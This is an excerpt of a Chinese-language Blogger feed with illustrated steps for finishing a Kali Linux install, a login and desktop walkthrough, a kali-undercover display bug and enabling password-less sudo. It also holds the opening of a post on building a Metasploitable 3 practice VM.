&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCO1Wqi1wwO-mKdZt3OeAIkdxh87PJMz6VfNsA6hQidJNPEEB0sFBnm2wGnLj1EV-TQtc4EBDn2GPt_1eDaFV1ZEAVLb2dtHpSyAuKjWq3Ez-RDr3GBQwM3AO13CpC9XDl6hVBOfUwIJfs/s1600/kali-2020_19.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;607&quot; data-original-width=&quot;806&quot; height=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCO1Wqi1wwO-mKdZt3OeAIkdxh87PJMz6VfNsA6hQidJNPEEB0sFBnm2wGnLj1EV-TQtc4EBDn2GPt_1eDaFV1ZEAVLb2dtHpSyAuKjWq3Ez-RDr3GBQwM3AO13CpC9XDl6hVBOfUwIJfs/s400/kali-2020_19.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖19：筆者將Install tools by puposse的項目都打勾(Reporting除外)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8_vwbPAgJ9o6WwSFhKiw5Te95umAUohcVvlrtTgs72pMSq30ia-SiXV7CCvaly9O4qxsT6wGbYPpsTRaPGLJlTbEdBOj1SGGlQZJMtFIShuVWRgSMQUvBQ1bnLIN5CBfNbIlJKFZmnW5z/s1600/kali-2020_20.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;608&quot; data-original-width=&quot;807&quot; height=&quot;301&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8_vwbPAgJ9o6WwSFhKiw5Te95umAUohcVvlrtTgs72pMSq30ia-SiXV7CCvaly9O4qxsT6wGbYPpsTRaPGLJlTbEdBOj1SGGlQZJMtFIShuVWRgSMQUvBQ1bnLIN5CBfNbIlJKFZmnW5z/s400/kali-2020_20.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖20：因多安裝GNOME桌面，設定gdm&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;20、好了，快要安裝完成，接著就是設定開機程式（GRUB），請選擇「是」將GRUB安裝到主開機記錄（MBR）（圖21）。&lt;/b&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgspvmQXcpE2IxXEkevVy2L1QY6UOkBeFHmoPplz4a9bEHvaZwr35vhnKSZ4v49FDUf_6SxGYWTeXze7YCrSNB0IMqrOrPDNoV8xgzBDzKUFWRp5cHx31dGwZZ2IXdHhU-3EA4OYW9tpDST/s1600/kali-2020_21.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;608&quot; data-original-width=&quot;811&quot; height=&quot;298&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgspvmQXcpE2IxXEkevVy2L1QY6UOkBeFHmoPplz4a9bEHvaZwr35vhnKSZ4v49FDUf_6SxGYWTeXze7YCrSNB0IMqrOrPDNoV8xgzBDzKUFWRp5cHx31dGwZZ2IXdHhU-3EA4OYW9tpDST/s400/kali-2020_21.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖21：將GRUB安裝到主開機記錄區&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin-left: 2em; text-indent: -2em;&quot;&gt;
&lt;b&gt;21、進到下一個畫面，因為只有一台磁碟，因此選「/dev/sda」，然後按「繼續」（圖22），再等一下下，就可安裝完成了！（圖23）&lt;/b&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifyQB7Ml_7FWlW4mH3qdSORzAgSSL0QjEDGEM4s4K_PaDaz_oVVVIyUbqp2SAn2u9TDtHBPXneFn4Om3y-gckosfFk0hms5y9Rit_DjqFOHrNHEkPfRynTrnZGUsNqjLF5BiVW-DlPfHUG/s1600/kali-2020_22.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;608&quot; data-original-width=&quot;806&quot; height=&quot;301&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifyQB7Ml_7FWlW4mH3qdSORzAgSSL0QjEDGEM4s4K_PaDaz_oVVVIyUbqp2SAn2u9TDtHBPXneFn4Om3y-gckosfFk0hms5y9Rit_DjqFOHrNHEkPfRynTrnZGUsNqjLF5BiVW-DlPfHUG/s400/kali-2020_22.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖22：選擇安裝GRUB的可開機磁碟&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUD3oym8BsYiCS4NYTrjg9O5ZORJONWjzF8tWBBW_vgVuiJEHRetTV2_XOgMOiRTDkG8UTQxSQDooIGgqCmA5HNhOmriu283UhpqEJdot12NDbRSFOjU67bx00Wc7K8FIz8BtC99oXyN1Q/s1600/kali-2020_23.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;608&quot; data-original-width=&quot;807&quot; height=&quot;301&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUD3oym8BsYiCS4NYTrjg9O5ZORJONWjzF8tWBBW_vgVuiJEHRetTV2_XOgMOiRTDkG8UTQxSQDooIGgqCmA5HNhOmriu283UhpqEJdot12NDbRSFOjU67bx00Wc7K8FIz8BtC99oXyN1Q/s400/kali-2020_23.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖23：終於完成系統安裝&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin: 0.5em 0px 0px;&quot;&gt;
&lt;span style=&quot;color: #0c343d; font-size: large;&quot;&gt;&lt;b&gt;登入
&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;
在安裝時設定使用者名稱（Kea Leave），登入時可以選擇此帳號（圖24），並輸入密碼（圖25），或者要切換x-window環境，可以先點擊「登入」鈕左方的齒輪（圖26），選擇桌面環境，再「登入」。
&lt;/div&gt;
&lt;div cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; center=&quot;&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjL5ZZQlbC7iYRX4jwI9clPTkaK-CQHE2xc9a75DDOxJjQApAonYE1Nb4e7MFzJGzdvh9vxJ0ZXWRrEHT9r96AvYfXWCFv0PR9TxQEhyphenhyphenZtUZhKco1vals6JooOQmfhFxLI163dIe6VuPPW0/s1600/kali-2020_24.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;528&quot; data-original-width=&quot;574&quot; height=&quot;367&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjL5ZZQlbC7iYRX4jwI9clPTkaK-CQHE2xc9a75DDOxJjQApAonYE1Nb4e7MFzJGzdvh9vxJ0ZXWRrEHT9r96AvYfXWCFv0PR9TxQEhyphenhyphenZtUZhKco1vals6JooOQmfhFxLI163dIe6VuPPW0/s400/kali-2020_24.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
圖24：選擇登入系統的使用者&lt;/div&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXlqaHdG4kgIHAqvsfNphCaEKfiNk5N_Ujdwgzp9NUOuaESsCcO1kSRjuPleq81QD0joz86Q8hpmNaxcvFIUy7JU3SUhmOH2AvYNEpBLg2UFVDJjuBpU_AoZB9JHhRi0bqef9O6OeMW0P3/s1600/kali-2020_25.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;482&quot; data-original-width=&quot;474&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXlqaHdG4kgIHAqvsfNphCaEKfiNk5N_Ujdwgzp9NUOuaESsCcO1kSRjuPleq81QD0joz86Q8hpmNaxcvFIUy7JU3SUhmOH2AvYNEpBLg2UFVDJjuBpU_AoZB9JHhRi0bqef9O6OeMW0P3/s400/kali-2020_25.PNG&quot; width=&quot;392&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖25：輸入使用者密碼&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeZKaMDMut3yuMyFtZUPSl52os9UpYc0xUfLDDEPak7J3exb_xy2Kn2w9f_NwEktmZavAbEer9EFS90LZVWPiCFRzw8jCBCZSSDghK6H4CAgR6khrQv3HzDnHI1Dpa8CDg2Uv-UBbg2fG8/s1600/kali-2020_26.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;463&quot; data-original-width=&quot;559&quot; height=&quot;331&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeZKaMDMut3yuMyFtZUPSl52os9UpYc0xUfLDDEPak7J3exb_xy2Kn2w9f_NwEktmZavAbEer9EFS90LZVWPiCFRzw8jCBCZSSDghK6H4CAgR6khrQv3HzDnHI1Dpa8CDg2Uv-UBbg2fG8/s400/kali-2020_26.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖26：或者先選擇桌面環境，再登入&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;b&gt;圖27A是GNOME界面，圖27A右圖是xfce界，謹供比較。&lt;/b&gt;&lt;/div&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi2-tbnt03fdAifcnVD9cCAOGVEzMTwyPQcb8hu_BJdFQ7NnZsSZAeX4jtPzIoFWHVLcmxFAIo4k_H-36N5rFp_yTa2AnCZnNkz0f_L_-gM0VlOkZGCZ_y3QQVHrd3jHAaK_T-L0Ui5ifB/s1600/kali-2020_27A.PNG&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;618&quot; data-original-width=&quot;1293&quot; height=&quot;152&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi2-tbnt03fdAifcnVD9cCAOGVEzMTwyPQcb8hu_BJdFQ7NnZsSZAeX4jtPzIoFWHVLcmxFAIo4k_H-36N5rFp_yTa2AnCZnNkz0f_L_-gM0VlOkZGCZ_y3QQVHrd3jHAaK_T-L0Ui5ifB/s320/kali-2020_27A.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖27A：GNOME畫面&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgamK5_VA48BU9TKY51MMKKFyXa6r-rQEMbIQqqcavQBl4hvB6gn_y6fqDcXjK3lPiDMh6YNhdxDtKC070b7LtkMABfTVH6JSuvr7UpSrN4OvFedF05PXf9UqW8GVMhp8yg7cJnCN5Gm8pt/s1600/kali-2020_27B.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;704&quot; data-original-width=&quot;1233&quot; height=&quot;180&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgamK5_VA48BU9TKY51MMKKFyXa6r-rQEMbIQqqcavQBl4hvB6gn_y6fqDcXjK3lPiDMh6YNhdxDtKC070b7LtkMABfTVH6JSuvr7UpSrN4OvFedF05PXf9UqW8GVMhp8yg7cJnCN5Gm8pt/s320/kali-2020_27B.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖27B：Xfce畫面&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;margin: 0.5em 0px 0px;&quot;&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;color: #660000;&quot;&gt;&lt;b&gt;不知是誰的bug
&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;
在xfce執行 kali-undercover，將界面轉成Windows 10模擬模式（圖28），若未再次執行kali-undercover切回Linux模式，下回啟動成GNOME，會看到終端機的操示符依然停在「C:\home\kali&amp;gt;」（圖29）。&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHe4YidxO_VG0BTk7arLh_DpgBA7M-pyLOKynnZGa2dwgCOj6zXXb9GQEgdGWqBZJ4Qpj10j4Cl6Qv_3GK5V3SLmiw84K2AihpUVFO4-LCnuOIH_bcr4_3RIq0f_dUNyRi5PluzVFT1YTz/s1600/kali-2020_28.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;734&quot; data-original-width=&quot;1293&quot; height=&quot;226&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHe4YidxO_VG0BTk7arLh_DpgBA7M-pyLOKynnZGa2dwgCOj6zXXb9GQEgdGWqBZJ4Qpj10j4Cl6Qv_3GK5V3SLmiw84K2AihpUVFO4-LCnuOIH_bcr4_3RIq0f_dUNyRi5PluzVFT1YTz/s400/kali-2020_28.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖28：切換到Windows 10模擬畫面&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRzK85xzQZOiOyMJcW0S0jW4Sj0adomc8EFeUSqXQ3243T_HbzzaMBNqN8T611Cm4LPyT8H6jNJDSBY1xCGWMJW8pVqUITSSGPRrIoZsJLSzD1vk2ZJw5KZQxWRpVk4UXYGvkPBw9cyvJs/s1600/kali-2020_29.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;404&quot; data-original-width=&quot;737&quot; height=&quot;218&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRzK85xzQZOiOyMJcW0S0jW4Sj0adomc8EFeUSqXQ3243T_HbzzaMBNqN8T611Cm4LPyT8H6jNJDSBY1xCGWMJW8pVqUITSSGPRrIoZsJLSzD1vk2ZJw5KZQxWRpVk4UXYGvkPBw9cyvJs/s400/kali-2020_29.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖29：啟動成GNOME桌面，提示符仍顯示「C:\home\kali&amp;gt;」&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;
在xfce的Windows 10模擬模式，執行kali-undercover，終端機的提示符回復Kali的樣字，但桌面看起來還是像Windows 10（圖30），與Kali文件所說：再次執行kali-undercover之後會回復前次的布景主體不一樣。
&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGXUn0lWFJQt8_UjVo0Y3WUWwgjZwUIp9Mt_kinMPaigisZthDlmmn78a9Wap-LXkN5OgN_2lFdOH1PEPfvja7W-TmvaglwqO8c90pnaFyAklTI8Dh1zw5UeZoQ19YdhxueecFoFDeKsg5/s1600/kali-2020_30.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;737&quot; data-original-width=&quot;792&quot; height=&quot;371&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGXUn0lWFJQt8_UjVo0Y3WUWwgjZwUIp9Mt_kinMPaigisZthDlmmn78a9Wap-LXkN5OgN_2lFdOH1PEPfvja7W-TmvaglwqO8c90pnaFyAklTI8Dh1zw5UeZoQ19YdhxueecFoFDeKsg5/s400/kali-2020_30.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖30：雖然終端機切回xfce，但桌面看起來仍是Windows 10(和圖27B相比)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;margin: 0.5em 0px 0px;&quot;&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;免密碼的sudo
&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;
2020.1之後已不再有root權限，需要使用sudo才能執行特權指令， 可是sudo會要求驗證密碼（圖31），如果覺得煩，可以執行「sudo dpkg-reconfigure kali-grant-root」，然後選擇「Enable password-less privilege escalation」（提權時毋須密碼）（圖32），雖然還是需要「sudo」，但系統不會再問密碼了。
&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDKQiVH6JN9fwsMUAl_6_-Nyw4an8s8KUEFgODbsxcvH8ozc7E01GJA_CTvIcX4lAD57m9q1RunHE1XBDV-ODMMgF99AiMjobaF2OsWcl0FO9_xBf7lFhdR6ZSdjP44UdWJ2xZdCZLCyvi/s1600/kali-2020_31.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;479&quot; data-original-width=&quot;661&quot; height=&quot;288&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDKQiVH6JN9fwsMUAl_6_-Nyw4an8s8KUEFgODbsxcvH8ozc7E01GJA_CTvIcX4lAD57m9q1RunHE1XBDV-ODMMgF99AiMjobaF2OsWcl0FO9_xBf7lFhdR6ZSdjP44UdWJ2xZdCZLCyvi/s400/kali-2020_31.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖31：使用sudo執行特權指令，需要再次確認密碼&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhF-F0KFfox7nEuSNWxoZ3lYvL6mN5_47KGFmsHLQHH1UXWY-YSD8dMWFecQ_OYxKNLutTIEy2m6V1n9B51_scvnpkjx68UCq_J4kI98LoX7GWghQCSIEqgNi07YJMS1KFidUltdb_KntI3/s1600/kali-2020_32.PNG&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;513&quot; data-original-width=&quot;637&quot; height=&quot;321&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhF-F0KFfox7nEuSNWxoZ3lYvL6mN5_47KGFmsHLQHH1UXWY-YSD8dMWFecQ_OYxKNLutTIEy2m6V1n9B51_scvnpkjx68UCq_J4kI98LoX7GWghQCSIEqgNi07YJMS1KFidUltdb_KntI3/s400/kali-2020_32.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖32：利用 dpkg-reconfigure kali-grant-root改成不需再次確認密碼&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;hr style=&quot;color: blue;&quot; /&gt;
&lt;div&gt;
&lt;b&gt;這次簡單補充至此，日後若有新的發現，再另為文介紹！
&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/1911565061180783738/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2020/02/kali-linux-2kali-linux.html#comment-form' title='16 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/1911565061180783738'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/1911565061180783738'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2020/02/kali-linux-2kali-linux.html' title='Kali Linux 滲透測試工具(第三版)-第2章「安裝Kali Linux」補充說明'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqGZMJOk_Sf13U5EAnIpLfhGKH8XLfzf7ezGU1OWJwKdGw04a_HWuQsu6M_3Yy5XYdAeEKW3G2QVoxVzxQ_RJRoHfYekNm_BZB7gDqjlvi6__hpegECnZLSgtbzyBArW__YkdEGdGteZwc/s72-c/kali-2020_01.PNG" height="72" width="72"/><thr:total>16</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-3724288630028012220</id><published>2020-01-04T05:55:00.000+08:00</published><updated>2020-01-04T05:55:28.399+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="資訊安全"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊技術"/><title type='text'>如何建置metasploitable 3虛擬機</title><content type='html'>&lt;div style=&quot;border: #ff3399 4px solid; font-size: 12pt; line-height: 200%; padding: 8px;&quot;&gt;
&lt;div style=&quot;text-indent: 2em;&quot;&gt;
筆者在2016年曾寫了一本「Metasploitable|白帽駭客新兵訓練營」，以Metasploitable 2作為練習標的， Metasploitable 2是以虛擬機映像檔方式發行，很容易部建於VMWare或VirtualBox，然而，RAPID7在2016年底釋出Metasploitable 3，但這一次並非直接以虛擬機映像檔方式發行，而是提供一些腳本，再由使用者自行建置，有關建置說明可以參考：&lt;a href=&quot;https://github.com/rapid7/metasploitable3&quot;&gt;https://github.com/rapid7/metasploitable3&lt;/a&gt;，筆者參考這份說明，卻還是撞了滿頭包，原以為過一段時間就會有人釋出包裝好的映像檔，但網路上搜尋許久，都是自建教學文章，筆者照著文章作，依然處處碰避，最近正好有個工作空檔，可以好好靜心實作，發現原來自建，其實很簡單，特將操作步驟記錄下來。&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em; margin-top: 1em; text-indent: -2em;&quot;&gt;
一、先&lt;span style=&quot;color: #990000;&quot;&gt;&lt;b&gt;確認電腦啟用（支援）VT-x或AMD-V&lt;/b&gt;&lt;/span&gt;，不然執行到後段才出現映像檔建立失敗，會浪費不少時間。
